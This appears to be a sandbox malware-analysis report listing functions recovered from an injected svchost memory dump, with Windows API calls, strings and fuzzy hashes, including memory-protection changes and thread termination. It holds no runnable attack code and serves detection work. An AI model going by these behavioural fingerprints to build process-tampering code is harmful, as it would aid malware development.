Opcode Fuzzy Hash: 9d3cf39bc7784cd844787513709c7d04fd8390ef6f847f410b46324ceba80f6d
Instruction Fuzzy Hash: 0E31E531213E04D1EF13DBCAA4207D523D6B759BA1F590625DD1EABB98EF38C245C710

Function 00000195DD5D3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000195DD5D3DE5
GetLastError.KERNEL32 ref: 00000195DD5D3DF1
CloseHandle.KERNEL32 ref: 00000195DD5D3E09
CreateFileW.KERNEL32 ref: 00000195DD5D3E34
WriteConsoleW.KERNEL32 ref: 00000195DD5D3E53

Strings

CONOUT$, xrefs: 00000195DD5D3E15

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 900ef7d4bcd6fd2864e51168dc1007f1dfbbe5e213ae5e9ff28ad5abe65b03b1
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 2C11BF32310F4086E7629B96E8643A9B3E1F788FE5F044224EA1A97B94CF78C8058750

Function 00000195DD5C3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000195DD5C379E
GetCurrentProcess.KERNEL32 ref: 00000195DD5C37CC
VirtualProtectEx.KERNEL32 ref: 00000195DD5C37EE
GetCurrentProcess.KERNEL32 ref: 00000195DD5C3809
VirtualProtectEx.KERNEL32 ref: 00000195DD5C382A

Strings

wr, xrefs: 00000195DD5C37FF

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 42188e63fbb78b0732cb93c59acbf515d5b68af2c84de3977fd9872ca41c66e2
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 38118E36302F4982FF559B95F4242A963F2F749B85F040028DE8953B94EF3DC545C714

Function 00000195DD5C5B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5B6B
GetThreadContext.KERNEL32 ref: 00000195DD5C5CD5

Part of subcall function 00000195DD5C5960: GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5964

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 195e277db55ff97f3f99f451c10649e3fcd3ec1e2be31b8428dbef89db2187c3
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 12D17876205F8882DB71DB9AE4A439A77E1F388B84F500116EA8E97FA5DF3CC551CB40

Function 00000195DD5C2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C2F27
HeapAlloc.KERNEL32 ref: 00000195DD5C2F3A
StrCmpNIW.SHLWAPI ref: 00000195DD5C2FAF
GetProcessHeap.KERNEL32 ref: 00000195DD5C3015
HeapFree.KERNEL32 ref: 00000195DD5C3023

Strings

dialer, xrefs: 00000195DD5C2FA8

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: fc4c9099da629ec678108cb9cb41e40dfa530a30d66993f12becd6c4ba3f9dba
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: 0C317036702F5DC2E716DF9AE561BA977E2FB44B84F084020DE48A7F55EB34C4A18740

Function 00000195DD5CCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000195DD5CCFAF
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CCFE5
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD012
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD023
FlsSetValue.KERNEL32(?,?,?,00000195DD5CD6B5,?,?,?,?,00000195DD5CD778), ref: 00000195DD5CD034
SetLastError.KERNEL32 ref: 00000195DD5CD04F

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 8fdc15ff09e63732eb275527d3260f2eb5a265f6af426b64fb26ff3aadc1099c
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: C9115E34203E4882FB66A7AE59757B963C39B847B4F144725A836F6FD6EE6884428700

Function 00000195DD5C199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000195DD5C19C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000195DD5C19E0
PathFindFileNameW.SHLWAPI ref: 00000195DD5C19EF
lstrlenW.KERNEL32 ref: 00000195DD5C19FB
StrCpyW.SHLWAPI ref: 00000195DD5C1A0E
CloseHandle.KERNEL32 ref: 00000195DD5C1A1C

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 094941dede99f9d048632fe007c60956db5d273133d38dce1c9db68577c35704
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: F4018C31300E4882EB11DB92A86879963E2F788FC1F884035DE4DA3B54DF3CC98AC750

Function 00000195DD5C36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000195DD5C36E4
GetCurrentProcess.KERNEL32 ref: 00000195DD5C36F2
VirtualProtectEx.KERNEL32 ref: 00000195DD5C3714
GetCurrentProcess.KERNEL32 ref: 00000195DD5C3732
VirtualProtectEx.KERNEL32 ref: 00000195DD5C3753
TerminateThread.KERNEL32 ref: 00000195DD5C3762

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: a4c37ed03e2153ec921c4fe35d3b930d694565bbf9533148a8bdd7b871a42841
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 00014075312F4882FF269BA6E82879573E2BB45B86F040424CE4967B54EF3DC149C710

Function 00000195DD5C9005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5C90A8
RtlUnwindEx.NTDLL ref: 00000195DD5C90F7

Strings

f, xrefs: 00000195DD5C9026
csm, xrefs: 00000195DD5C908E

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 23eacf76fefb4f7f9308e1222479b694a5ecefb866da3529da442ff7070fa44f
Instruction ID: b6a9a57366d7e32ba7d8204e1a09c4ae5b67336b6113bd5d1bf03962d45849d0
Opcode Fuzzy Hash: 23eacf76fefb4f7f9308e1222479b694a5ecefb866da3529da442ff7070fa44f
Instruction Fuzzy Hash: FD51E732703A088AEB16CF59E469BD837D7F34AB89F518124DA06A3B8CDB75C841CB44

Function 00000195DD5C8FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5C9013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5C90A8
RtlUnwindEx.NTDLL ref: 00000195DD5C90F7

Strings

f, xrefs: 00000195DD5C9026
csm, xrefs: 00000195DD5C908E

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 3343c703fad3ff3a8a0055ce76d4c8b5bb2113134d4bfc35ff936db91a6087cf
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 3931D132202A44C6E716DF5AE86879937E6F745BCAF058014EE46A7B8DDB39C941CB04

Function 00000195DD5C1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000195DD5C1A60
StrCmpNIW.SHLWAPI ref: 00000195DD5C1A7A
lstrlenW.KERNEL32 ref: 00000195DD5C1A89
StrCpyW.SHLWAPI ref: 00000195DD5C1A9E

Strings

\\?\, xrefs: 00000195DD5C1A6E

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: df346fd54c246db8dc1c541bbdd1f0d6174768352badab0d676f886130502b32
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 2BF04432304A4592E7618BA5F8A479967E2F748BD8F844021DA4957E54DF3CC64ECB10

Function 00000195DD5C3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000195DD5C3066
StrCpyW.SHLWAPI ref: 00000195DD5C3076
StrCatW.SHLWAPI ref: 00000195DD5C3082
PathCombineW.SHLWAPI ref: 00000195DD5C3090

Strings

\\.\pipe\, xrefs: 00000195DD5C305C

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 9bf27a7e66860d5ed9a1e4fc62765c01fea6d54f0cf7a99623ebd25812deed3f
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: FFF01C75715F8882FB158F97B92419967E2AB48FD1F089131EE4A67F28DF3CC4868710

Function 00000195DD5CBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000195DD5CBCBD
GetProcAddress.KERNEL32 ref: 00000195DD5CBCD3
FreeLibrary.KERNEL32 ref: 00000195DD5CBCFA

Strings

mscoree.dll, xrefs: 00000195DD5CBCB4
CorExitProcess, xrefs: 00000195DD5CBCCC

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 6fff49532d995f645c10438cf692a88e56ff7661239a114b43dcc12d8e254882
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 9BF09675311F0981EF118BA8E46439963E2EB857A1F540219CA6A56BE4DF3CC546C310

Function 00000195DD5C50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5156

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: a3c0edd0877988b553c5cb3f44ac1cf59b63286ea202ec1d8159712ba189bc8b
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 7402A83221AB8486E761CB99E4A479EB7E1F3C4794F104115EA8E97FA9DF7CC484CB00

Function 00000195DD5C5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000195DD5C5726

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: c54ef34d66bd00901bd8adbac774be78d0448155a515a9e92ef6434a46babdc8
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: 5561EB3661AF48C6E761DB9AE46475AB7E2F388784F500115EA8E97FA8DB7CC440CF40

Function 00000195DD5D4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000195DD5D412C
_set_statfp.LIBCMT ref: 00000195DD5D4147
_set_statfp.LIBCMT ref: 00000195DD5D4163
_set_statfp.LIBCMT ref: 00000195DD5D419F

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 4f18cf734432864d1cadb05385a9f61388192ac32121d651ae8f93e19ceaa8fb
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 38115132A10F9131FB6615E8D4763E611DB6B683F8F180724A97636FD68A24C8414721

Function 00000195DD5A3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000195DD5A352C
_set_statfp.LIBCMT ref: 00000195DD5A3547
_set_statfp.LIBCMT ref: 00000195DD5A3563
_set_statfp.LIBCMT ref: 00000195DD5A359F

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 33dfdcfffdc3893784a7b309723e3667eaa1db39b5b3fd1c14ced88943099ce3
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 0111E332A10F3141FBA691ECE4753E91AC36F5C37CF49A638A96626ED6CA2CF8405700

Function 00000195DD59F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000195DD59F124

Strings

or copy constructor iterator', xrefs: 00000195DD59F25A, 00000195DD59F275
Tuesday, xrefs: 00000195DD59F0F4
Wednesday, xrefs: 00000195DD59F1ED

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: e363e31868ba0ebea0856da9f2af10226048556fbf55e11a4800ee541c068533
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 3261D53A600E40C2FB6BCBE4E9703EE2AE3E785780F554415CA5A37FA4DB34D8499B40

Function 00000195DD5CAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000195DD5CAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000195DD5CAAB7

Strings

RCC, xrefs: 00000195DD5CAA85
MOC, xrefs: 00000195DD5CAA7C

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 10fc382da7d13d8ad43a4db652bb922ee3acc66b14bf34360ded925820cce3ee
Instruction ID: 14cf2eee4fbcc911eae32f8475549afe507b7b7c46814838016a04d8a23f088c
Opcode Fuzzy Hash: 10fc382da7d13d8ad43a4db652bb922ee3acc66b14bf34360ded925820cce3ee
Instruction Fuzzy Hash: DD614932602A888AEB21DFA9D4503DD7BE2F354B8CF045215EF4967B98DB39D595C700

Function 00000195DD5CAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD5CADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000195DD5CAE88

Strings

csm, xrefs: 00000195DD5CADC2
csm, xrefs: 00000195DD5CAEDA

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 2a90534c08ec7fa08356974faa6f23fad74bcd69915b4cf882117b33a0582183
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: A451E076101B88CAEB768FA994A43D87BE2F355B85F184116DA89E7FD5CB39C490CB00

Function 00000195DD59A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD59A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000195DD59A288

Strings

csm, xrefs: 00000195DD59A1C2
csm, xrefs: 00000195DD59A2DA

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 630a7bd136e047a971954e7c30b8e6e87b54a1208c2d6339fb40a23e9a14be36
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 9351AA32100B80CAEF768BA5946439877E2F355BC4F189216DB99A7FD5CB3AD490CF10

Function 00000195DD598405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD598413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5984A8

Strings

csm, xrefs: 00000195DD59848E
f, xrefs: 00000195DD598426

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 545615c7cb5cd5622a5ac668a3e3931a1a855b43902fdb1261379489e8260ddb
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5F51D132701A00DBEB56CF55E464B983BEAF354BA8F548164DA1A67B88EB35D844CF04

Function 00000195DD5983E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000195DD598413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000195DD5984A8

Strings

csm, xrefs: 00000195DD59848E
f, xrefs: 00000195DD598426

Memory Dump Source

Source File: 00000028.00000002.3308832875.00000195DD590000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD590000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd590000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 1a57b68ce290c85dbce40ecbe3ad1d13c9711456f6542ae40eb2b2b77e126871
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 1F31DF32201B40EAE716DF61E864B997BEAF744BD8F058054EE5B67F88DB39D940CB04

Function 00000195DD5D2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000195DD5D20D7
WriteFile.KERNEL32 ref: 00000195DD5D239F
WriteFile.KERNEL32 ref: 00000195DD5D23E5
GetLastError.KERNEL32 ref: 00000195DD5D249B

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 0727f7ca33ebfc9b04e52b4205dc7bd87cee8483e25baa6158969cd42837b0ef
Instruction ID: f53c85bc1b1823a42c19dddbaacf5ef3270f7fc8b13c31205dca382023514cf5
Opcode Fuzzy Hash: 0727f7ca33ebfc9b04e52b4205dc7bd87cee8483e25baa6158969cd42837b0ef
Instruction Fuzzy Hash: 84D1FE32B15A8089E712CFB9D4607EC3BF2F755BA8F008216DE5AA7F99DA34C406C350

Function 00000195DD5C14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000195DD5C14C5
HeapFree.KERNEL32 ref: 00000195DD5C14D4
GetProcessHeap.KERNEL32 ref: 00000195DD5C14E1
HeapFree.KERNEL32 ref: 00000195DD5C14F0
GetProcessHeap.KERNEL32 ref: 00000195DD5C1500

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: c16a99b6eb882b57aedd9fd2cb972f0c73c4406802b17b7f20f8a29f0fc28702
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 45015A32601F99D6E705DFE6E95418A77E2FB89F81F044425EA4A63B29DE38C052C750

Function 00000195DD5D2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000195DD5D2A9C
GetLastError.KERNEL32 ref: 00000195DD5D2B27

Memory Dump Source

Source File: 00000028.00000002.3308976773.00000195DD5C0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000195DD5C0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_195dd5c0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: e05ebd15e7bb07455586a63994cd1edc3763a212bc928c3d69a32a164f643882
Instruction ID: d41248d40368a7dadbb8de4372f2d467b08f8f1214df69f873c535610b2736e1
Opcode Fuzzy Hash: e05ebd15e7bb07455586a63994cd1edc3763a212bc928c3d69a32a164f643882
Instruction Fuzzy Hash: 1D91CE32704E5499F7629FA994A0BED3BE2F754B88F144109DE4A77F98DB74C882C720

